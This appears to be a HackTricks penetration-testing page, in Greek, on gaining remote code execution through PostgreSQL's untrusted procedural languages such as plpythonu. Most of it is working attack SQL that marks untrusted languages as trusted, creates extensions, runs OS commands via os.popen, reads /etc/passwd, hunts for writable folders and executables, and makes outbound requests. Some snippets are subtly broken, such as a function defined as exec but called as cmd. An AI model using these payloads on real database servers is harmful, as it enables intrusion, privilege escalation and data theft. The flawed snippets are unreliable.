# RCE με Γλώσσες PostgreSQL {{#include ../../../banners/hacktricks-training.md}} ## Γλώσσες PostgreSQL Η βάση δεδομένων PostgreSQL στην οποία έχετε πρόσβαση μπορεί να έχει διαφορετικές **γλώσσες scripting εγκατεστημένες** που θα μπορούσατε να εκμεταλλευτείτε για να **εκτελέσετε αυθαίρετο κώδικα**. Μπορείτε να **τις εκκινήσετε**: ```sql \dL * SELECT lanname,lanpltrusted,lanacl FROM pg_language; ``` Οι περισσότερες από τις γλώσσες scripting που μπορείτε να εγκαταστήσετε στο PostgreSQL έχουν **2 γεύσεις**: την **έμπιστη** και την **μη έμπιστη**. Η **μη έμπιστη** θα έχει ένα όνομα **που τελειώνει σε "u"** και θα είναι η έκδοση που θα σας επιτρέπει να **εκτελείτε κώδικα** και να χρησιμοποιείτε άλλες ενδιαφέρουσες λειτουργίες. Αυτές είναι γλώσσες που αν εγκατασταθούν είναι ενδιαφέρουσες: - **plpythonu** - **plpython3u** - **plperlu** - **pljavaU** - **plrubyu** - ... (οποιαδήποτε άλλη γλώσσα προγραμματισμού που χρησιμοποιεί μια ανασφαλή έκδοση) > [!WARNING] > Εάν διαπιστώσετε ότι μια ενδιαφέρουσα γλώσσα είναι **εγκατεστημένη** αλλά **μη έμπιστη** από το PostgreSQL (**`lanpltrusted`** είναι **`false`**) μπορείτε να προσπαθήσετε να την **εμπιστευθείτε** με την παρακάτω γραμμή ώστε να μην επιβληθούν περιορισμοί από το PostgreSQL: > > ```sql > UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu'; > # Για να ελέγξετε τα δικαιώματά σας πάνω στον πίνακα pg_language > SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language'; > ``` > [!CAUTION] > Εάν δεν βλέπετε μια γλώσσα, μπορείτε να προσπαθήσετε να την φορτώσετε με (**πρέπει να είστε superadmin**): > > ``` > CREATE EXTENSION plpythonu; > CREATE EXTENSION plpython3u; > CREATE EXTENSION plperlu; > CREATE EXTENSION pljavaU; > CREATE EXTENSION plrubyu; > ``` Σημειώστε ότι είναι δυνατόν να μεταγλωττίσετε τις ασφαλείς εκδόσεις ως "ανασφαλείς". Ελέγξτε [**αυτό**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html) για παράδειγμα. Έτσι, αξίζει πάντα να προσπαθήσετε αν μπορείτε να εκτελέσετε κώδικα ακόμη και αν βρείτε εγκατεστημένη μόνο την **έμπιστη**. ## plpythonu/plpython3u {{#tabs}} {{#tab name="RCE"}} ```sql CREATE OR REPLACE FUNCTION exec (cmd text) RETURNS VARCHAR(65535) stable AS $$ import os return os.popen(cmd).read() #return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {}) $$ LANGUAGE 'plpythonu'; SELECT cmd("ls"); #RCE with popen or execve ``` {{#endtab}} {{#tab name="Get OS user"}} ```sql CREATE OR REPLACE FUNCTION get_user (pkg text) RETURNS VARCHAR(65535) stable AS $$ import os return os.getlogin() $$ LANGUAGE 'plpythonu'; SELECT get_user(""); #Get user, para is useless ``` {{#endtab}} {{#tab name="List dir"}} ```sql CREATE OR REPLACE FUNCTION lsdir (dir text) RETURNS VARCHAR(65535) stable AS $$ import json from os import walk files = next(walk(dir), (None, None, [])) return json.dumps({"root": files[0], "dirs": files[1], "files": files[2]})[:65535] $$ LANGUAGE 'plpythonu'; SELECT lsdir("/"); #List dir ``` {{#endtab}} {{#tab name="Βρείτε το φάκελο W"}} ```sql CREATE OR REPLACE FUNCTION findw (dir text) RETURNS VARCHAR(65535) stable AS $$ import os def my_find(path): writables = [] def find_writable(path): if not os.path.isdir(path): return if os.access(path, os.W_OK): writables.append(path) if not os.listdir(path): return else: for item in os.listdir(path): find_writable(os.path.join(path, item)) find_writable(path) return writables return ", ".join(my_find(dir)) $$ LANGUAGE 'plpythonu'; SELECT findw("/"); #Find Writable folders from a folder (recursively) ``` {{#endtab}} {{#tab name="Βρείτε το Αρχείο"}} ```sql CREATE OR REPLACE FUNCTION find_file (exe_sea text) RETURNS VARCHAR(65535) stable AS $$ import os def my_find(path): executables = [] def find_executables(path): if not os.path.isdir(path): executables.append(path) if os.path.isdir(path): if not os.listdir(path): return else: for item in os.listdir(path): find_executables(os.path.join(path, item)) find_executables(path) return executables a = my_find("/") b = [] for i in a: if exe_sea in os.path.basename(i): b.append(i) return ", ".join(b) $$ LANGUAGE 'plpythonu'; SELECT find_file("psql"); #Find a file ``` {{#endtab}} {{#tab name="Βρείτε εκτελέσιμα"}} ```sql CREATE OR REPLACE FUNCTION findx (dir text) RETURNS VARCHAR(65535) stable AS $$ import os def my_find(path): executables = [] def find_executables(path): if not os.path.isdir(path) and os.access(path, os.X_OK): executables.append(path) if os.path.isdir(path): if not os.listdir(path): return else: for item in os.listdir(path): find_executables(os.path.join(path, item)) find_executables(path) return executables a = my_find(dir) b = [] for i in a: b.append(os.path.basename(i)) return ", ".join(b) $$ LANGUAGE 'plpythonu'; SELECT findx("/"); #Find an executables in folder (recursively) ``` {{#endtab}} {{#tab name="Βρείτε exec με υποκαταστάσεις"}} ```sql CREATE OR REPLACE FUNCTION find_exe (exe_sea text) RETURNS VARCHAR(65535) stable AS $$ import os def my_find(path): executables = [] def find_executables(path): if not os.path.isdir(path) and os.access(path, os.X_OK): executables.append(path) if os.path.isdir(path): if not os.listdir(path): return else: for item in os.listdir(path): find_executables(os.path.join(path, item)) find_executables(path) return executables a = my_find("/") b = [] for i in a: if exe_sea in i: b.append(i) return ", ".join(b) $$ LANGUAGE 'plpythonu'; SELECT find_exe("psql"); #Find executable by susbstring ``` {{#endtab}} {{#tab name="Read"}} ```sql CREATE OR REPLACE FUNCTION read (path text) RETURNS VARCHAR(65535) stable AS $$ import base64 encoded_string= base64.b64encode(open(path).read()) return encoded_string.decode('utf-8') return open(path).read() $$ LANGUAGE 'plpythonu'; select read('/etc/passwd'); #Read a file in b64 ``` {{#endtab}} {{#tab name="Get perms"}} ```sql CREATE OR REPLACE FUNCTION get_perms (path text) RETURNS VARCHAR(65535) stable AS $$ import os status = os.stat(path) perms = oct(status.st_mode)[-3:] return str(perms) $$ LANGUAGE 'plpythonu'; select get_perms("/etc/passwd"); # Get perms of file ``` {{#endtab}} {{#tab name="Request"}} ```sql CREATE OR REPLACE FUNCTION req2 (url text) RETURNS VARCHAR(65535) stable AS $$ import urllib r = urllib.urlopen(url) return r.read() $$ LANGUAGE 'plpythonu'; SELECT req2('https://google.com'); #Request using python2 CREATE OR REPLACE FUNCTION req3 (url text) RETURNS VARCHAR(65535) stable AS $$ from urllib import request r = request.urlopen(url) return r.read() $$ LANGUAGE 'plpythonu'; SELECT req3('https://google.com'); #Request using python3 ``` {{#endtab}} {{#endtabs}} ## pgSQL Ελέγξτε την παρακάτω σελίδα: {{#ref}} pl-pgsql-password-bruteforce.md {{#endref}} ## C Ελέγξτε την παρακάτω σελίδα: {{#ref}} rce-with-postgresql-extensions.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}}